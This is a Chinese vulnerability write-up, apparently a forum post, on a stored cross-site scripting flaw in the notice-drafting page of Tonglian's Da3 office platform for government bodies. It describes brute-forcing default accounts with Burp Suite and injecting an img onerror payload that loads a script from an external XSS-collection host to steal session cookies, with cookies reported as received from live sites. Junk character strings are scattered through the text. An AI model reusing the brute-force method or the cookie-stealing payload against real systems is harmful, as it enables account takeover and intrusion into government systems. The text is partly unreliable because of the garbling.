" U3 h& |% z3 [+ Y" T2 C
, p, s. x+ l5 p 同联Da3协同办公平台后台通用储存型xss漏洞
/ a v% ]- y" _2 u% f5 {
( R4 r, T% `6 L( i. G
J! ^$ `& T9 ]3 X+ B; O; U
平台简介:
: W1 L8 V0 E ~
: S0 ^8 l8 Y2 [8 O7 \
: t, M% m B4 P
7 X9 n# D u8 g3 w
6 y; l/ |' I8 k
3 W; q5 `2 e% L8 |# G m4 | |
北京同联信息技术有限公司(以下简称同联)由用友政务与用友原行业事业部团队合伙出资成立。同联以“为全国各级政府单位提供信息化咨询规划、建设解决方案和信息化运维服务,以加强各级政府的精细化、智能化管理,形成高效、敏捷、便民的新型政府。”为使命,致力于为各级政府单位提供专业、标准、灵活、易用的信息化产品及专业的服务。
, I; t7 M6 g4 D5 F9 k
同联面向政府单位提供专业、标准、灵活、易用的信息化产品。针对各级政府单位,分别提供以“移动政务办公”为主的Da3系列管理软件;针对政法单位提供以“协同办案”为核心的政法协同办案系统等。
! V0 y( T% a$ e$ u0 Y( P6 U' I8 ]同联本着“协作、专业、创新”的工作方针,为推动各级政府单位信息化、促进各级政府快速转型为 “智慧型政府”做出积极贡献!7 E4 m9 T$ f3 @
' g$ }+ o6 S) `2 Q2 ^ K( Z5 Y
0 j" r% Z1 S- C4 ~
$ C+ n" Y; e) b% V' ?# g
0 q6 L' \% l( ~7 M- S& Z
' F' D5 K9 H5 A6 v 由于此程序为新开发的程序,故能找到的案例并不多,下面附案例地址:; K. ~. S% G+ l: U; d. b
" j6 o: D2 T9 q! n% ]: W
% \& L9 c1 X" h2 x
/ ]# W3 b# G6 X) L: x6 K
. n! n- q+ c2 }/ e( E. _
5 I# t0 f9 B9 f4 D( P+ E http://1.1.1.1:7197/cap-aco/#(案例2-)
' M7 F& V& ?% o" ]9 I' N$ x
k) f/ A5 p2 y' ]9 O
" W) W/ p: V, v( R* M& x$ h2 t2 u
http://www.XXOO.com (案例1-官网网站)3 e7 V. q% c. n+ W' X! _
" ]& A, U* y& L* Y0 v! Q
1 l1 s2 ?$ ]* M! I1 j# t! @5 m# u9 c 漏洞详情:! I% ]$ q/ l& H" F) }* F# X! d* g
9 B% u. R; n: f+ @6 I' l8 L) a # {% o: r! C8 E9 P& M# Q
案例一、 F# l! P3 v9 E$ B1 @; ~
# G& T4 i: y I; R6 \9 l" J
, T% G; Y6 G/ b) F 初步确定平台的默认账号为姓名的首字母小写,初始密码为123,为了能够更好的模拟入侵,使用黑盒测试手段进行测试& y# V5 ~2 H4 Q/ E3 R
1 V$ x6 y! @, U9 r
7 c! \, g, \ p$ \) \+ [) { 首先使用burpsuite代理,然后再用黑客字典生成一个全英文小写的3位字典,利用burpsuite进行暴力破解,破解结果如图:
" C4 k) s1 H8 ?( |" F/ {
. {: z" c3 z% \# O3 W
, Q0 M# F3 J5 \$ L
6 t) v% @6 B/ Q
. s# ^! f/ u0 \- B# r- D' |: {$ A4 h
T6 X$ e9 Q( J; L& m, u- L
1 S. t( Q$ v- ?2 x' n0 b8 H0 n- A
, I* m L: F, }3 F& r0 o: r% G+ n
0 `/ z ^: B7 O% D( f" s0 q, w status为302即表示破解成功,然后找个破解成功的账号登录系统。然后在通知公告---通知公告发布-拟稿处存在储存型xss漏洞,我在编机器里填写好标题、选择人员,点html如图:
/ [0 Z0 L9 F. v* ~* w% z: d `
! N& k( D! Z" @% `
# t# Y) [( i4 M( W
# R5 h k8 K% t; c& `- V. I
4 O9 I Q9 Q9 Y) J5 [ J/ M2 W' [ s( G8 e, S
! l* M- v# Y3 q) r) Y( s
% p" ^2 a0 y% c8 p( z 3 Z* N F. d+ A, i
然后插我们的xss跨站代码(经过测试发现过滤了好多标签,比如script,没过滤img、iframe标签),这里我们用img标签来测试,payload如下 & x& i) j: m2 c, g+ P4 n0 x
" t2 C" ]/ b! I$ R4 \! G
0 M! r/ x3 L ?9 Q 1 y7 O- y! X0 O, |) M+ c& [
! e% }" ~& T/ {6 F* g' Q" R
; b/ ^! O1 \. c4 ~/ R) [ <img src=x
. @- e3 o" e6 Jonerror=s=createElement('\x73cript');body.appendChild(s);s.src='http://xss.6kb.org/7OO7GQ?1510065652';>,如图:
# Q: }; [- E; M6 O6 }
- S. @* k& O3 r- T4 V9 ~
1 j. u8 ]+ L( y" K9 B- S; Q8 G
2 Z) y5 U7 N+ o- P5 b6 Z
, M. r- w7 u$ D+ J% [ & a. C2 g4 K( y8 t; j, a
然后发送,接收cookie如图: " \7 I" ]% ~" t7 _7 u
" k7 Z/ B! ~$ v/ F 1 l I" R( s [3 o4 j' ]
- B1 l3 U$ N- F1 B. x- ` \7 v& Z" W6 O
) j) m# S' l1 c" b6 V* O4 f
. @1 |- N/ E0 N/ [
2 ^# E% r( @ e5 L% q( l
5 K! w7 Q4 }7 k! | ; Z; v5 \/ l0 X2 M5 W+ A
$ z! c/ D5 `/ k0 H' t/ Y
7 k, z% n% S2 Z8 j. z ], q1 l
% j# P5 c3 N* V" I0 p$ \, C; D - P+ d b4 {. y9 C
$ w( L7 I7 Q/ R% l
5 N" B) C/ M; H$ ?7 s% C+ k. H
- D' T1 J1 ~( L8 [% y
8 o: f5 r4 w, ]
5 Z0 x* K" O% }6 m# q+ z
5 T7 _5 O# H+ @1 y) y$ I$ `# Y
0 d; p6 Y# g( W1 A
4 M3 b1 n. V* z& v3 {
3 o+ B, W$ n( X0 A0 ~7 {
) _$ E* d' D S. j
" z; K, }: Z+ m# i: \ 案例2、 8 S; _" A9 P$ |) ?8 c$ U
0 Q$ x3 }1 E* ?
! t$ u2 g% i: s0 B5 I& ]' K" M 前面步骤都一样,下面看效果图: % j/ ]4 d6 E: p9 S' u# r* m
$ d& _- A Z5 J3 Y9 W) f# I+ l
0 W J& t( f5 @- T, n l
4 W& ]( s% [! I. ~: F
" u; V. E2 a! E( c! ~! b1 o" `
! ~+ n+ r, O7 _) E. y9 f
1 Y( E2 J$ q# ^+ a: j
s! X- A6 `0 P* U3 X: W6 a$ h
: F( Q8 P4 F$ z, l6 {9 {' i7 x5 n" _1 [8 o , |' ?$ A3 i0 p; {8 d8 N3 l6 z
3 Y/ ^6 w ?2 {) a7 l: T: n# S
# R: L" p* z1 ^$ P
0 U# Q& E. q' P! p9 x4 |+ _
I4 O' i7 }+ h: \ C$ w. e 7 b' T$ [% r7 q% h D6 g! E
6 X% \) j }" q- g
0 @) ?( D, W3 | X# ~: D* q* T+ u: o
0 u" U7 {9 B4 ], X A/ u( {$ n& ^
) r4 p. I3 S8 D0 s
2 k6 e% M% L4 M/ d$ B* i9 |
1 w# O5 r. F( h
# E4 f g7 D2 [8 }# i* N/ |8 w/ j
9 V5 g5 ], g+ |/ f; E( g
! p7 H( r5 h/ l) X+ c
8 O- ~) p1 U: s1 J* z' X! F
$ C! {) W( b t7 B' Y, P& P
+ X6 m2 U$ v: D7 ~
Z( X1 ^, ~3 b- k r6 b$ K
% `5 h& k& X1 o, c' R) b K